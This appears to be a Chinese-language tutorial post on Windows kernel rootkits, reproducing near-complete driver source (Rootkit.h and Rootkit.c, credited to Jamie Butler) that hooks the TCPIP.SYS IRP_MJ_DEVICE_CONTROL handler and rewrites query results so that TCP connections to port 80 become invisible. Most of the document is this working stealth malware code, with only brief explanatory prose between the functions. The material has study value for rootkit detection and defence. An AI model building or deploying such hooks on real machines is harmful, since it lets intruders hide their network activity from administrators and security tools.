内核中一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。
以下是微软公司DDK定义的标准IRP类型列表:
// Define the major function codes for IRPs. #define IRP_MJ_CREATE 0x00 #define IRP_MJ_CREATE_NAMED_PIPE 0x01 #define IRP_MJ_CLOSE 0x02 #define IRP_MJ_READ 0x03 #define IRP_MJ_WRITE 0x04 #define IRP_MJ_QUERY_INFORMATION 0x05 #define IRP_MJ_SET_INFORMATION 0x06 #define IRP_MJ_QUERY_EA 0x07 #define IRP_MJ_SET_EA 0x08 #define IRP_MJ_FLUSH_BUFFERS 0x09 #define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a #define IRP_MJ_SET_VOLUME_INFORMATION 0x0b #define IRP_MJ_DIRECTORY_CONTROL 0x0c #define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d #define IRP_MJ_DEVICE_CONTROL 0x0e #define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f #define IRP_MJ_SHUTDOWN 0x10 #define IRP_MJ_LOCK_CONTROL 0x11 #define IRP_MJ_CLEANUP 0x12 #define IRP_MJ_CREATE_MAILSLOT 0x13 #define IRP_MJ_QUERY_SECURITY 0x14 #define IRP_MJ_SET_SECURITY 0x15 #define IRP_MJ_POWER 0x16 #define IRP_MJ_SYSTEM_CONTROL 0x17 #define IRP_MJ_DEVICE_CHANGE 0x18 #define IRP_MJ_QUERY_QUOTA 0x19 #define IRP_MJ_SET_QUOTA 0x1a #define IRP_MJ_PNP 0x1b #define IRP_MJ_PNP_POWER IRP_MJ_PNP //Obsolete #define IRP_MJ_MAXIMUM_FUNCTION 0x1b
在Rootkits——Windows内核的安全防护文中介绍了钩住TCPIP.SYS的方法来过滤相关网络连接查询信息的IRP。
Rootkit.h的代码:
/// // Filename Rootkit.h // // Author: Jamie Butler // Email: [email protected] or [email protected] // // Description: Defines globals, function prototypes, etc. used by rootkit.c. // // Version: 1.0 typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD * PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef BYTE * LPBYTE; #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //#define MAKEPORT(a, b) ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8)) #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) typedef struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; } CONNINFO101, *PCONNINFO101; typedef struct _CONNINFO102 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; } CONNINFO102, *PCONNINFO102; typedef struct _CONNINFO110 { unsigned long size; unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; PVOID unk3[35]; } CONNINFO110, *PCONNINFO110; typedef struct _REQINFO { PIO_COMPLETION_ROUTINE OldCompletion; unsigned long ReqType; } REQINFO, *PREQINFO; PFILE_OBJECT pFile_tcp; PDEVICE_OBJECT pDev_tcp; PDRIVER_OBJECT pDrv_tcpip; typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP); OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl; NTSTATUS RootkitUnload(IN PDRIVER_OBJECT); NTSTATUS InstallTCPDriverHook(); NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP); NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);
Rootkit.c
DriverEntry
1 /// 2 // Filename Rootkit.c 3 // 4 // Author: Jamie Butler 5 // Email: [email protected] or [email protected] 6 // 7 // Description: This is where the work gets done. 8 // 9 // Version: 1.0 10 // 11 12 #include "ntddk.h" 13 #include "tdiinfo.h" 14 //#include "stdio.h" 15 //#include "stdlib.h" 16 17 #include "Rootkit.h" 18 19 NTSTATUS DriverEntry( 20 IN PDRIVER_OBJECT DriverObject, 21 IN PUNICODE_STRING RegistryPath 22 ) 23 { 24 25 NTSTATUS ntStatus; 26 27 OldIrpMjDeviceControl = NULL; 28 29 DriverObject->DriverUnload = RootkitUnload; 30 31 ntStatus = InstallTCPDriverHook(); 32 if(!NT_SUCCESS(ntStatus)) 33 return ntStatus; 34 35 return STATUS_SUCCESS; 36 }
InstallTCPDriverHook函数通过IoGetDeviceObjectPointer函数获得这个设备对象的指针,再利用原子操作进行函数地址替换。
1 NTSTATUS InstallTCPDriverHook() 2 { 3 NTSTATUS ntStatus; 4 // UNICODE_STRING deviceNameUnicodeString; 5 // UNICODE_STRING deviceLinkUnicodeString; 6 UNICODE_STRING deviceTCPUnicodeString; 7 WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp"; 8 pFile_tcp = NULL; 9 pDev_tcp = NULL; 10 pDrv_tcpip = NULL; 11 12 RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer); 13 ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp); 14 if(!NT_SUCCESS(ntStatus)) 15 return ntStatus; 16 pDrv_tcpip = pDev_tcp->DriverObject; 17 18 OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 19 if (OldIrpMjDeviceControl) 20 InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl); 21 22 return STATUS_SUCCESS; 23 }
inputBuffer->toi_entity.tei_entity 为 CO_TL_ENTITY时隐藏TCP端口
1 NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) 2 { 3 PIO_STACK_LOCATION irpStack; 4 ULONG ioTransferType; 5 TDIObjectID *inputBuffer; 6 DWORD context; 7 8 //DbgPrint("The current IRP is at %x\n", Irp); 9 10 // Get a pointer to the current location in the Irp. This is where 11 // the function codes and parameters are located. 12 irpStack = IoGetCurrentIrpStackLocation (Irp); 13 14 switch (irpStack->MajorFunction) 15 { 16 case IRP_MJ_DEVICE_CONTROL: 17 if ((irpStack->MinorFunction == 0) && \ 18 (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX)) 19 { 20 ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode; 21 ioTransferType &= 3; 22 if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer 23 { 24 inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer; 25 26 // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP 27 if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY) 28 { 29 // DbgPrint("Input buffer %x\n",inputBuffer); 30 if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110)) 31 { 32 // Call our completion routine if IRP successful 33 irpStack->Control = 0; 34 irpStack->Control |= SL_INVOKE_ON_SUCCESS; 35 36 // Save old completion routine if present 37 irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO)); 38 39 ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 40 ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id; 41 42 // Setup our function to be called on completion of IRP 43 irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine; 44 } 45 } 46 } 47 } 48 break; 49 50 default: 51 break; 52 } 53 54 return OldIrpMjDeviceControl(DeviceObject, Irp); 55 }
以下的示例代码隐藏了一条目的端口为TCP 80的连接
1 NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 2 IN PIRP Irp, 3 IN PVOID Context) 4 { 5 PVOID OutputBuffer; 6 DWORD NumOutputBuffers; 7 PIO_COMPLETION_ROUTINE p_compRoutine; 8 DWORD i; 9 10 // Connection status values: 11 // 0 = Invisible 12 // 1 = CLOSED 13 // 2 = LISTENING 14 // 3 = SYN_SENT 15 // 4 = SYN_RECEIVED 16 // 5 = ESTABLISHED 17 // 6 = FIN_WAIT_1 18 // 7 = FIN_WAIT_2 19 // 8 = CLOSE_WAIT 20 // 9 = CLOSING 21 // ... 22 23 OutputBuffer = Irp->UserBuffer; 24 p_compRoutine = ((PREQINFO)Context)->OldCompletion; 25 26 if (((PREQINFO)Context)->ReqType == 0x101) 27 { 28 NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101); 29 for(i = 0; i < NumOutputBuffers; i++) 30 { 31 // Hide all Web connections 32 if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80) 33 ((PCONNINFO101)OutputBuffer)[i].status = 0; 34 } 35 } 36 else if (((PREQINFO)Context)->ReqType == 0x102) 37 { 38 NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102); 39 for(i = 0; i < NumOutputBuffers; i++) 40 { 41 // Hide all Web connections 42 if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80) 43 ((PCONNINFO102)OutputBuffer)[i].status = 0; 44 } 45 } 46 else if (((PREQINFO)Context)->ReqType == 0x110) 47 { 48 NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110); 49 for(i = 0; i < NumOutputBuffers; i++) 50 { 51 // Hide all Web connections 52 if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80) 53 ((PCONNINFO110)OutputBuffer)[i].status = 0; 54 } 55 } 56 57 ExFreePool(Context); 58 59 /* 60 for(i = 0; i < NumOutputBuffers; i++) 61 { 62 DbgPrint("Status: %d",OutputBuffer[i].status); 63 DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port)); 64 DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port)); 65 }*/ 66 67 if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL)) 68 { 69 return (p_compRoutine)(DeviceObject, Irp, NULL); 70 } 71 else 72 { 73 return Irp->IoStatus.Status; 74 } 75 }
卸载驱动 注意别忘了解引用
1 NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject) 2 { 3 if (OldIrpMjDeviceControl) 4 InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl); 5 if (pFile_tcp != NULL) 6 ObDereferenceObject(pFile_tcp); 7 pFile_tcp = NULL; 8 9 return STATUS_SUCCESS; 10 }